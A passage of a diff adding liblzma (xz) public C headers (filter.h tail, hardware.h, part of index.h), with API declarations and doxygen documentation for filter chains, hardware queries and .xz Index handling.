/**
|
||||||
|
* \brief Update the filter chain in the encoder
|
||||||
|
*
|
||||||
|
* This function is for advanced users only. This function has two slightly
|
||||||
|
* different purposes:
|
||||||
|
*
|
||||||
|
* - After LZMA_FULL_FLUSH when using Stream encoder: Set a new filter
|
||||||
|
* chain, which will be used starting from the next Block.
|
||||||
|
*
|
||||||
|
* - After LZMA_SYNC_FLUSH using Raw, Block, or Stream encoder: Change
|
||||||
|
* the filter-specific options in the middle of encoding. The actual
|
||||||
|
* filters in the chain (Filter IDs) cannot be changed. In the future,
|
||||||
|
* it might become possible to change the filter options without
|
||||||
|
* using LZMA_SYNC_FLUSH.
|
||||||
|
*
|
||||||
|
* While rarely useful, this function may be called also when no data has
|
||||||
|
* been compressed yet. In that case, this function will behave as if
|
||||||
|
* LZMA_FULL_FLUSH (Stream encoder) or LZMA_SYNC_FLUSH (Raw or Block
|
||||||
|
* encoder) had been used right before calling this function.
|
||||||
|
*
|
||||||
|
* \return - LZMA_OK
|
||||||
|
* - LZMA_MEM_ERROR
|
||||||
|
* - LZMA_MEMLIMIT_ERROR
|
||||||
|
* - LZMA_OPTIONS_ERROR
|
||||||
|
* - LZMA_PROG_ERROR
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_filters_update(
|
||||||
|
lzma_stream *strm, const lzma_filter *filters) lzma_nothrow;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Single-call raw encoder
|
||||||
|
*
|
||||||
|
* \param filters Array of lzma_filter structures. The end of the
|
||||||
|
* array must be marked with .id = LZMA_VLI_UNKNOWN.
|
||||||
|
* \param allocator lzma_allocator for custom allocator functions.
|
||||||
|
* Set to NULL to use malloc() and free().
|
||||||
|
* \param in Beginning of the input buffer
|
||||||
|
* \param in_size Size of the input buffer
|
||||||
|
* \param out Beginning of the output buffer
|
||||||
|
* \param out_pos The next byte will be written to out[*out_pos].
|
||||||
|
* *out_pos is updated only if encoding succeeds.
|
||||||
|
* \param out_size Size of the out buffer; the first byte into
|
||||||
|
* which no data is written to is out[out_size].
|
||||||
|
*
|
||||||
|
* \return - LZMA_OK: Encoding was successful.
|
||||||
|
* - LZMA_BUF_ERROR: Not enough output buffer space.
|
||||||
|
* - LZMA_OPTIONS_ERROR
|
||||||
|
* - LZMA_MEM_ERROR
|
||||||
|
* - LZMA_DATA_ERROR
|
||||||
|
* - LZMA_PROG_ERROR
|
||||||
|
*
|
||||||
|
* \note There is no function to calculate how big output buffer
|
||||||
|
* would surely be big enough. (lzma_stream_buffer_bound()
|
||||||
|
* works only for lzma_stream_buffer_encode(); raw encoder
|
||||||
|
* won't necessarily meet that bound.)
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_raw_buffer_encode(
|
||||||
|
const lzma_filter *filters, const lzma_allocator *allocator,
|
||||||
|
const uint8_t *in, size_t in_size, uint8_t *out,
|
||||||
|
size_t *out_pos, size_t out_size) lzma_nothrow;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Single-call raw decoder
|
||||||
|
*
|
||||||
|
* \param filters Array of lzma_filter structures. The end of the
|
||||||
|
* array must be marked with .id = LZMA_VLI_UNKNOWN.
|
||||||
|
* \param allocator lzma_allocator for custom allocator functions.
|
||||||
|
* Set to NULL to use malloc() and free().
|
||||||
|
* \param in Beginning of the input buffer
|
||||||
|
* \param in_pos The next byte will be read from in[*in_pos].
|
||||||
|
* *in_pos is updated only if decoding succeeds.
|
||||||
|
* \param in_size Size of the input buffer; the first byte that
|
||||||
|
* won't be read is in[in_size].
|
||||||
|
* \param out Beginning of the output buffer
|
||||||
|
* \param out_pos The next byte will be written to out[*out_pos].
|
||||||
|
* *out_pos is updated only if encoding succeeds.
|
||||||
|
* \param out_size Size of the out buffer; the first byte into
|
||||||
|
* which no data is written to is out[out_size].
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_raw_buffer_decode(
|
||||||
|
const lzma_filter *filters, const lzma_allocator *allocator,
|
||||||
|
const uint8_t *in, size_t *in_pos, size_t in_size,
|
||||||
|
uint8_t *out, size_t *out_pos, size_t out_size) lzma_nothrow;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Get the size of the Filter Properties field
|
||||||
|
*
|
||||||
|
* This function may be useful when implementing custom file formats
|
||||||
|
* using the raw encoder and decoder.
|
||||||
|
*
|
||||||
|
* \param size Pointer to uint32_t to hold the size of the properties
|
||||||
|
* \param filter Filter ID and options (the size of the properties may
|
||||||
|
* vary depending on the options)
|
||||||
|
*
|
||||||
|
* \return - LZMA_OK
|
||||||
|
* - LZMA_OPTIONS_ERROR
|
||||||
|
* - LZMA_PROG_ERROR
|
||||||
|
*
|
||||||
|
* \note This function validates the Filter ID, but does not
|
||||||
|
* necessarily validate the options. Thus, it is possible
|
||||||
|
* that this returns LZMA_OK while the following call to
|
||||||
|
* lzma_properties_encode() returns LZMA_OPTIONS_ERROR.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_properties_size(
|
||||||
|
uint32_t *size, const lzma_filter *filter) lzma_nothrow;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Encode the Filter Properties field
|
||||||
|
*
|
||||||
|
* \param filter Filter ID and options
|
||||||
|
* \param props Buffer to hold the encoded options. The size of
|
||||||
|
* buffer must have been already determined with
|
||||||
|
* lzma_properties_size().
|
||||||
|
*
|
||||||
|
* \return - LZMA_OK
|
||||||
|
* - LZMA_OPTIONS_ERROR
|
||||||
|
* - LZMA_PROG_ERROR
|
||||||
|
*
|
||||||
|
* \note Even this function won't validate more options than actually
|
||||||
|
* necessary. Thus, it is possible that encoding the properties
|
||||||
|
* succeeds but using the same options to initialize the encoder
|
||||||
|
* will fail.
|
||||||
|
*
|
||||||
|
* \note If lzma_properties_size() indicated that the size
|
||||||
|
* of the Filter Properties field is zero, calling
|
||||||
|
* lzma_properties_encode() is not required, but it
|
||||||
|
* won't do any harm either.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_properties_encode(
|
||||||
|
const lzma_filter *filter, uint8_t *props) lzma_nothrow;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Decode the Filter Properties field
|
||||||
|
*
|
||||||
|
* \param filter filter->id must have been set to the correct
|
||||||
|
* Filter ID. filter->options doesn't need to be
|
||||||
|
* initialized (it's not freed by this function). The
|
||||||
|
* decoded options will be stored in filter->options;
|
||||||
|
* it's application's responsibility to free it when
|
||||||
|
* appropriate. filter->options is set to NULL if
|
||||||
|
* there are no properties or if an error occurs.
|
||||||
|
* \param allocator Custom memory allocator used to allocate the
|
||||||
|
* options. Set to NULL to use the default malloc(),
|
||||||
|
* and in case of an error, also free().
|
||||||
|
* \param props Input buffer containing the properties.
|
||||||
|
* \param props_size Size of the properties. This must be the exact
|
||||||
|
* size; giving too much or too little input will
|
||||||
|
* return LZMA_OPTIONS_ERROR.
|
||||||
|
*
|
||||||
|
* \return - LZMA_OK
|
||||||
|
* - LZMA_OPTIONS_ERROR
|
||||||
|
* - LZMA_MEM_ERROR
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_properties_decode(
|
||||||
|
lzma_filter *filter, const lzma_allocator *allocator,
|
||||||
|
const uint8_t *props, size_t props_size) lzma_nothrow;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Calculate encoded size of a Filter Flags field
|
||||||
|
*
|
||||||
|
* Knowing the size of Filter Flags is useful to know when allocating
|
||||||
|
* memory to hold the encoded Filter Flags.
|
||||||
|
*
|
||||||
|
* \param size Pointer to integer to hold the calculated size
|
||||||
|
* \param filter Filter ID and associated options whose encoded
|
||||||
|
* size is to be calculated
|
||||||
|
*
|
||||||
|
* \return - LZMA_OK: *size set successfully. Note that this doesn't
|
||||||
|
* guarantee that filter->options is valid, thus
|
||||||
|
* lzma_filter_flags_encode() may still fail.
|
||||||
|
* - LZMA_OPTIONS_ERROR: Unknown Filter ID or unsupported options.
|
||||||
|
* - LZMA_PROG_ERROR: Invalid options
|
||||||
|
*
|
||||||
|
* \note If you need to calculate size of List of Filter Flags,
|
||||||
|
* you need to loop over every lzma_filter entry.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_filter_flags_size(
|
||||||
|
uint32_t *size, const lzma_filter *filter)
|
||||||
|
lzma_nothrow lzma_attr_warn_unused_result;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Encode Filter Flags into given buffer
|
||||||
|
*
|
||||||
|
* In contrast to some functions, this doesn't allocate the needed buffer.
|
||||||
|
* This is due to how this function is used internally by liblzma.
|
||||||
|
*
|
||||||
|
* \param filter Filter ID and options to be encoded
|
||||||
|
* \param out Beginning of the output buffer
|
||||||
|
* \param out_pos out[*out_pos] is the next write position. This
|
||||||
|
* is updated by the encoder.
|
||||||
|
* \param out_size out[out_size] is the first byte to not write.
|
||||||
|
*
|
||||||
|
* \return - LZMA_OK: Encoding was successful.
|
||||||
|
* - LZMA_OPTIONS_ERROR: Invalid or unsupported options.
|
||||||
|
* - LZMA_PROG_ERROR: Invalid options or not enough output
|
||||||
|
* buffer space (you should have checked it with
|
||||||
|
* lzma_filter_flags_size()).
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_filter_flags_encode(const lzma_filter *filter,
|
||||||
|
uint8_t *out, size_t *out_pos, size_t out_size)
|
||||||
|
lzma_nothrow lzma_attr_warn_unused_result;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Decode Filter Flags from given buffer
|
||||||
|
*
|
||||||
|
* The decoded result is stored into *filter. The old value of
|
||||||
|
* filter->options is not free()d.
|
||||||
|
*
|
||||||
|
* \return - LZMA_OK
|
||||||
|
* - LZMA_OPTIONS_ERROR
|
||||||
|
* - LZMA_MEM_ERROR
|
||||||
|
* - LZMA_PROG_ERROR
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_filter_flags_decode(
|
||||||
|
lzma_filter *filter, const lzma_allocator *allocator,
|
||||||
|
const uint8_t *in, size_t *in_pos, size_t in_size)
|
||||||
|
lzma_nothrow lzma_attr_warn_unused_result;
|
||||||
64
src/include/lzma/hardware.h
Normal file
64
src/include/lzma/hardware.h
Normal file
@ -0,0 +1,64 @@
|
|||||||
|
/**
|
||||||
|
* \file lzma/hardware.h
|
||||||
|
* \brief Hardware information
|
||||||
|
*
|
||||||
|
* Since liblzma can consume a lot of system resources, it also provides
|
||||||
|
* ways to limit the resource usage. Applications linking against liblzma
|
||||||
|
* need to do the actual decisions how much resources to let liblzma to use.
|
||||||
|
* To ease making these decisions, liblzma provides functions to find out
|
||||||
|
* the relevant capabilities of the underlying hardware. Currently there
|
||||||
|
* is only a function to find out the amount of RAM, but in the future there
|
||||||
|
* will be also a function to detect how many concurrent threads the system
|
||||||
|
* can run.
|
||||||
|
*
|
||||||
|
* \note On some operating systems, these function may temporarily
|
||||||
|
* load a shared library or open file descriptor(s) to find out
|
||||||
|
* the requested hardware information. Unless the application
|
||||||
|
* assumes that specific file descriptors are not touched by
|
||||||
|
* other threads, this should have no effect on thread safety.
|
||||||
|
* Possible operations involving file descriptors will restart
|
||||||
|
* the syscalls if they return EINTR.
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Author: Lasse Collin
|
||||||
|
*
|
||||||
|
* This file has been put into the public domain.
|
||||||
|
* You can do whatever you want with this file.
|
||||||
|
*
|
||||||
|
* See ../lzma.h for information about liblzma as a whole.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef LZMA_H_INTERNAL
|
||||||
|
# error Never include this file directly. Use <lzma.h> instead.
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Get the total amount of physical memory (RAM) in bytes
|
||||||
|
*
|
||||||
|
* This function may be useful when determining a reasonable memory
|
||||||
|
* usage limit for decompressing or how much memory it is OK to use
|
||||||
|
* for compressing.
|
||||||
|
*
|
||||||
|
* \return On success, the total amount of physical memory in bytes
|
||||||
|
* is returned. If the amount of RAM cannot be determined,
|
||||||
|
* zero is returned. This can happen if an error occurs
|
||||||
|
* or if there is no code in liblzma to detect the amount
|
||||||
|
* of RAM on the specific operating system.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(uint64_t) lzma_physmem(void) lzma_nothrow;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Get the number of processor cores or threads
|
||||||
|
*
|
||||||
|
* This function may be useful when determining how many threads to use.
|
||||||
|
* If the hardware supports more than one thread per CPU core, the number
|
||||||
|
* of hardware threads is returned if that information is available.
|
||||||
|
*
|
||||||
|
* \brief On success, the number of available CPU threads or cores is
|
||||||
|
* returned. If this information isn't available or an error
|
||||||
|
* occurs, zero is returned.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(uint32_t) lzma_cputhreads(void) lzma_nothrow;
|
||||||
686
src/include/lzma/index.h
Normal file
686
src/include/lzma/index.h
Normal file
@ -0,0 +1,686 @@
|
|||||||
|
/**
|
||||||
|
* \file lzma/index.h
|
||||||
|
* \brief Handling of .xz Index and related information
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Author: Lasse Collin
|
||||||
|
*
|
||||||
|
* This file has been put into the public domain.
|
||||||
|
* You can do whatever you want with this file.
|
||||||
|
*
|
||||||
|
* See ../lzma.h for information about liblzma as a whole.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef LZMA_H_INTERNAL
|
||||||
|
# error Never include this file directly. Use <lzma.h> instead.
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Opaque data type to hold the Index(es) and other information
|
||||||
|
*
|
||||||
|
* lzma_index often holds just one .xz Index and possibly the Stream Flags
|
||||||
|
* of the same Stream and size of the Stream Padding field. However,
|
||||||
|
* multiple lzma_indexes can be concatenated with lzma_index_cat() and then
|
||||||
|
* there may be information about multiple Streams in the same lzma_index.
|
||||||
|
*
|
||||||
|
* Notes about thread safety: Only one thread may modify lzma_index at
|
||||||
|
* a time. All functions that take non-const pointer to lzma_index
|
||||||
|
* modify it. As long as no thread is modifying the lzma_index, getting
|
||||||
|
* information from the same lzma_index can be done from multiple threads
|
||||||
|
* at the same time with functions that take a const pointer to
|
||||||
|
* lzma_index or use lzma_index_iter. The same iterator must be used
|
||||||
|
* only by one thread at a time, of course, but there can be as many
|
||||||
|
* iterators for the same lzma_index as needed.
|
||||||
|
*/
|
||||||
|
typedef struct lzma_index_s lzma_index;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Iterator to get information about Blocks and Streams
|
||||||
|
*/
|
||||||
|
typedef struct {
|
||||||
|
struct {
|
||||||
|
/**
|
||||||
|
* \brief Pointer to Stream Flags
|
||||||
|
*
|
||||||
|
* This is NULL if Stream Flags have not been set for
|
||||||
|
* this Stream with lzma_index_stream_flags().
|
||||||
|
*/
|
||||||
|
const lzma_stream_flags *flags;
|
||||||
|
|
||||||
|
const void *reserved_ptr1;
|
||||||
|
const void *reserved_ptr2;
|
||||||
|
const void *reserved_ptr3;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Stream number in the lzma_index
|
||||||
|
*
|
||||||
|
* The first Stream is 1.
|
||||||
|
*/
|
||||||
|
lzma_vli number;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Number of Blocks in the Stream
|
||||||
|
*
|
||||||
|
* If this is zero, the block structure below has
|
||||||
|
* undefined values.
|
||||||
|
*/
|
||||||
|
lzma_vli block_count;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Compressed start offset of this Stream
|
||||||
|
*
|
||||||
|
* The offset is relative to the beginning of the lzma_index
|
||||||
|
* (i.e. usually the beginning of the .xz file).
|
||||||
|
*/
|
||||||
|
lzma_vli compressed_offset;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Uncompressed start offset of this Stream
|
||||||
|
*
|
||||||
|
* The offset is relative to the beginning of the lzma_index
|
||||||
|
* (i.e. usually the beginning of the .xz file).
|
||||||
|
*/
|
||||||
|
lzma_vli uncompressed_offset;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Compressed size of this Stream
|
||||||
|
*
|
||||||
|
* This includes all headers except the possible
|
||||||
|
* Stream Padding after this Stream.
|
||||||
|
*/
|
||||||
|
lzma_vli compressed_size;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Uncompressed size of this Stream
|
||||||
|
*/
|
||||||
|
lzma_vli uncompressed_size;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Size of Stream Padding after this Stream
|
||||||
|
*
|
||||||
|
* If it hasn't been set with lzma_index_stream_padding(),
|
||||||
|
* this defaults to zero. Stream Padding is always
|
||||||
|
* a multiple of four bytes.
|
||||||
|
*/
|
||||||
|
lzma_vli padding;
|
||||||
|
|
||||||
|
lzma_vli reserved_vli1;
|
||||||
|
lzma_vli reserved_vli2;
|
||||||
|
lzma_vli reserved_vli3;
|
||||||
|
lzma_vli reserved_vli4;
|
||||||
|
} stream;
|
||||||
|
|
||||||
|
struct {
|
||||||
|
/**
|
||||||
|
* \brief Block number in the file
|
||||||
|
*
|
||||||
|
* The first Block is 1.
|
||||||
|
*/
|
||||||
|
lzma_vli number_in_file;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Compressed start offset of this Block
|
||||||
|
*
|
||||||
|
* This offset is relative to the beginning of the
|
||||||
|
* lzma_index (i.e. usually the beginning of the .xz file).
|
||||||
|
* Normally this is where you should seek in the .xz file
|
||||||
|
* to start decompressing this Block.
|
||||||
|
*/
|
||||||
|
lzma_vli compressed_file_offset;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Uncompressed start offset of this Block
|
||||||
|
*
|
||||||
|
* This offset is relative to the beginning of the lzma_index
|
||||||
|
* (i.e. usually the beginning of the .xz file).
|
||||||
|
*
|
||||||
|
* When doing random-access reading, it is possible that
|
||||||
|
* the target offset is not exactly at Block boundary. One
|
||||||
|
* will need to compare the target offset against
|
||||||
|
* uncompressed_file_offset or uncompressed_stream_offset,
|
||||||
|
* and possibly decode and throw away some amount of data
|
||||||
|
* before reaching the target offset.
|
||||||
|
*/
|
||||||
|
lzma_vli uncompressed_file_offset;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Block number in this Stream
|
||||||
|
*
|
||||||
|
* The first Block is 1.
|
||||||
|
*/
|
||||||
|
lzma_vli number_in_stream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Compressed start offset of this Block
|
||||||
|
*
|
||||||
|
* This offset is relative to the beginning of the Stream
|
||||||
|
* containing this Block.
|
||||||
|
*/
|
||||||
|
lzma_vli compressed_stream_offset;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Uncompressed start offset of this Block
|
||||||
|
*
|
||||||
|
* This offset is relative to the beginning of the Stream
|
||||||
|
* containing this Block.
|
||||||
|
*/
|
||||||
|
lzma_vli uncompressed_stream_offset;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Uncompressed size of this Block
|
||||||
|
*
|
||||||
|
* You should pass this to the Block decoder if you will
|
||||||
|
* decode this Block. It will allow the Block decoder to
|
||||||
|
* validate the uncompressed size.
|
||||||
|
*/
|
||||||
|
lzma_vli uncompressed_size;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Unpadded size of this Block
|
||||||
|
*
|
||||||
|
* You should pass this to the Block decoder if you will
|
||||||
|
* decode this Block. It will allow the Block decoder to
|
||||||
|
* validate the unpadded size.
|
||||||
|
*/
|
||||||
|
lzma_vli unpadded_size;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Total compressed size
|
||||||
|
*
|
||||||
|
* This includes all headers and padding in this Block.
|
||||||
|
* This is useful if you need to know how many bytes
|
||||||
|
* the Block decoder will actually read.
|
||||||
|
*/
|
||||||
|
lzma_vli total_size;
|
||||||
|
|
||||||
|
lzma_vli reserved_vli1;
|
||||||
|
lzma_vli reserved_vli2;
|
||||||
|
lzma_vli reserved_vli3;
|
||||||
|
lzma_vli reserved_vli4;
|
||||||
|
|
||||||
|
const void *reserved_ptr1;
|
||||||
|
const void *reserved_ptr2;
|
||||||
|
const void *reserved_ptr3;
|
||||||
|
const void *reserved_ptr4;
|
||||||
|
} block;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Internal data which is used to store the state of the iterator.
|
||||||
|
* The exact format may vary between liblzma versions, so don't
|
||||||
|
* touch these in any way.
|
||||||
|
*/
|
||||||
|
union {
|
||||||
|
const void *p;
|
||||||
|
size_t s;
|
||||||
|
lzma_vli v;
|
||||||
|
} internal[6];
|
||||||
|
} lzma_index_iter;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Operation mode for lzma_index_iter_next()
|
||||||
|
*/
|
||||||
|
typedef enum {
|
||||||
|
LZMA_INDEX_ITER_ANY = 0,
|
||||||
|
/**<
|
||||||
|
* \brief Get the next Block or Stream
|
||||||
|
*
|
||||||
|
* Go to the next Block if the current Stream has at least
|
||||||
|
* one Block left. Otherwise go to the next Stream even if
|
||||||
|
* it has no Blocks. If the Stream has no Blocks
|
||||||
|
* (lzma_index_iter.stream.block_count == 0),
|
||||||
|
* lzma_index_iter.block will have undefined values.
|
||||||
|
*/
|
||||||
|
|
||||||
|
LZMA_INDEX_ITER_STREAM = 1,
|
||||||
|
/**<
|
||||||
|
* \brief Get the next Stream
|
||||||
|
*
|
||||||
|
* Go to the next Stream even if the current Stream has
|
||||||
|
* unread Blocks left. If the next Stream has at least one
|
||||||
|
* Block, the iterator will point to the first Block.
|
||||||
|
* If there are no Blocks, lzma_index_iter.block will have
|
||||||
|
* undefined values.
|
||||||
|
*/
|
||||||
|
|
||||||
|
LZMA_INDEX_ITER_BLOCK = 2,
|
||||||
|
/**<
|
||||||
|
* \brief Get the next Block
|
||||||
|
*
|
||||||
|
* Go to the next Block if the current Stream has at least
|
||||||
|
* one Block left. If the current Stream has no Blocks left,
|
||||||
|
* the next Stream with at least one Block is located and
|
||||||
|
* the iterator will be made to point to the first Block of
|
||||||
|
* that Stream.
|
||||||
|
*/
|
||||||
|
|
||||||
|
LZMA_INDEX_ITER_NONEMPTY_BLOCK = 3
|
||||||
|
/**<
|
||||||
|
* \brief Get the next non-empty Block
|
||||||
|
*
|
||||||
|
* This is like LZMA_INDEX_ITER_BLOCK except that it will
|
||||||
|
* skip Blocks whose Uncompressed Size is zero.
|
||||||
|
*/
|
||||||
|
|
||||||
|
} lzma_index_iter_mode;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Calculate memory usage of lzma_index
|
||||||
|
*
|
||||||
|
* On disk, the size of the Index field depends on both the number of Records
|
||||||
|
* stored and how big values the Records store (due to variable-length integer
|
||||||
|
* encoding). When the Index is kept in lzma_index structure, the memory usage
|
||||||
|
* depends only on the number of Records/Blocks stored in the Index(es), and
|
||||||
|
* in case of concatenated lzma_indexes, the number of Streams. The size in
|
||||||
|
* RAM is almost always significantly bigger than in the encoded form on disk.
|
||||||
|
*
|
||||||
|
* This function calculates an approximate amount of memory needed hold
|
||||||
|
* the given number of Streams and Blocks in lzma_index structure. This
|
||||||
|
* value may vary between CPU architectures and also between liblzma versions
|
||||||
|
* if the internal implementation is modified.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(uint64_t) lzma_index_memusage(
|
||||||
|
lzma_vli streams, lzma_vli blocks) lzma_nothrow;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Calculate the memory usage of an existing lzma_index
|
||||||
|
*
|
||||||
|
* This is a shorthand for lzma_index_memusage(lzma_index_stream_count(i),
|
||||||
|
* lzma_index_block_count(i)).
|
||||||
|
*/
|
||||||
|
extern LZMA_API(uint64_t) lzma_index_memused(const lzma_index *i)
|
||||||
|
lzma_nothrow;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Allocate and initialize a new lzma_index structure
|
||||||
|
*
|
||||||
|
* \return On success, a pointer to an empty initialized lzma_index is
|
||||||
|
* returned. If allocation fails, NULL is returned.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_index *) lzma_index_init(const lzma_allocator *allocator)
|
||||||
|
lzma_nothrow;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Deallocate lzma_index
|
||||||
|
*
|
||||||
|
* If i is NULL, this does nothing.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(void) lzma_index_end(
|
||||||
|
lzma_index *i, const lzma_allocator *allocator) lzma_nothrow;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Add a new Block to lzma_index
|
||||||
|
*
|
||||||
|
* \param i Pointer to a lzma_index structure
|
||||||
|
* \param allocator Pointer to lzma_allocator, or NULL to
|
||||||
|
* use malloc()
|
||||||
|
* \param unpadded_size Unpadded Size of a Block. This can be
|
||||||
|
* calculated with lzma_block_unpadded_size()
|
||||||
|
* after encoding or decoding the Block.
|
||||||
|
* \param uncompressed_size Uncompressed Size of a Block. This can be
|
||||||
|
* taken directly from lzma_block structure
|
||||||
|
* after encoding or decoding the Block.
|
||||||
|
*
|
||||||
|
* Appending a new Block does not invalidate iterators. For example,
|
||||||
|
* if an iterator was pointing to the end of the lzma_index, after
|
||||||
|
* lzma_index_append() it is possible to read the next Block with
|
||||||
|
* an existing iterator.
|
||||||
|
*
|
||||||
|
* \return - LZMA_OK
|
||||||
|
* - LZMA_MEM_ERROR
|
||||||
|
* - LZMA_DATA_ERROR: Compressed or uncompressed size of the
|
||||||
|
* Stream or size of the Index field would grow too big.
|
||||||
|
* - LZMA_PROG_ERROR
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_index_append(
|
||||||
|
lzma_index *i, const lzma_allocator *allocator,
|
||||||
|
lzma_vli unpadded_size, lzma_vli uncompressed_size)
|
||||||
|
lzma_nothrow lzma_attr_warn_unused_result;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Set the Stream Flags
|
||||||
|
*
|
||||||
|
* Set the Stream Flags of the last (and typically the only) Stream
|
||||||
|
* in lzma_index. This can be useful when reading information from the
|
||||||
|
* lzma_index, because to decode Blocks, knowing the integrity check type
|
||||||
|
* is needed.
|
||||||
|
*
|
||||||
|
* The given Stream Flags are copied into internal preallocated structure
|
||||||
|
* in the lzma_index, thus the caller doesn't need to keep the *stream_flags
|
||||||
|
* available after calling this function.
|
||||||
|
*
|
||||||
|
* \return - LZMA_OK
|
||||||
|
* - LZMA_OPTIONS_ERROR: Unsupported stream_flags->version.
|
||||||
|
* - LZMA_PROG_ERROR
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_index_stream_flags(
|
||||||
|
lzma_index *i, const lzma_stream_flags *stream_flags)
|
||||||
|
lzma_nothrow lzma_attr_warn_unused_result;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Get the types of integrity Checks
|
||||||
|
*
|
||||||
|
* If lzma_index_stream_flags() is used to set the Stream Flags for
|
||||||
|
* every Stream, lzma_index_checks() can be used to get a bitmask to
|
||||||
|
* indicate which Check types have been used. It can be useful e.g. if
|
||||||
|
* showing the Check types to the user.
|
||||||
|
*
|
||||||
|
* The bitmask is 1 << check_id, e.g. CRC32 is 1 << 1 and SHA-256 is 1 << 10.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(uint32_t) lzma_index_checks(const lzma_index *i)
|
||||||
|
lzma_nothrow lzma_attr_pure;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Set the amount of Stream Padding
|
||||||
|
*
|
||||||
|
* Set the amount of Stream Padding of the last (and typically the only)
|
||||||
|
* Stream in the lzma_index. This is needed when planning to do random-access
|
||||||
|
* reading within multiple concatenated Streams.
|
||||||
|
*
|
||||||
|
* By default, the amount of Stream Padding is assumed to be zero bytes.
|
||||||
|
*
|
||||||
|
* \return - LZMA_OK
|
||||||
|
* - LZMA_DATA_ERROR: The file size would grow too big.
|
||||||
|
* - LZMA_PROG_ERROR
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_ret) lzma_index_stream_padding(
|
||||||
|
lzma_index *i, lzma_vli stream_padding)
|
||||||
|
lzma_nothrow lzma_attr_warn_unused_result;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Get the number of Streams
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_vli) lzma_index_stream_count(const lzma_index *i)
|
||||||
|
lzma_nothrow lzma_attr_pure;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Get the number of Blocks
|
||||||
|
*
|
||||||
|
* This returns the total number of Blocks in lzma_index. To get number
|
||||||
|
* of Blocks in individual Streams, use lzma_index_iter.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_vli) lzma_index_block_count(const lzma_index *i)
|
||||||
|
lzma_nothrow lzma_attr_pure;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Get the size of the Index field as bytes
|
||||||
|
*
|
||||||
|
* This is needed to verify the Backward Size field in the Stream Footer.
|
||||||
|
*/
|
||||||
|
extern LZMA_API(lzma_vli) lzma_index_size(const lzma_index *i)
|
||||||
|
lzma_nothrow lzma_attr_pure;
|
||||||
|
|
||||||
|
|
||||||
|
/**
|
||||||
|
* \brief Get the total size of the Stream
|
||||||
|
*
|
||||||
|
* If multiple lzma_indexes have been combined, this works as if the Blocks
|
||||||
|
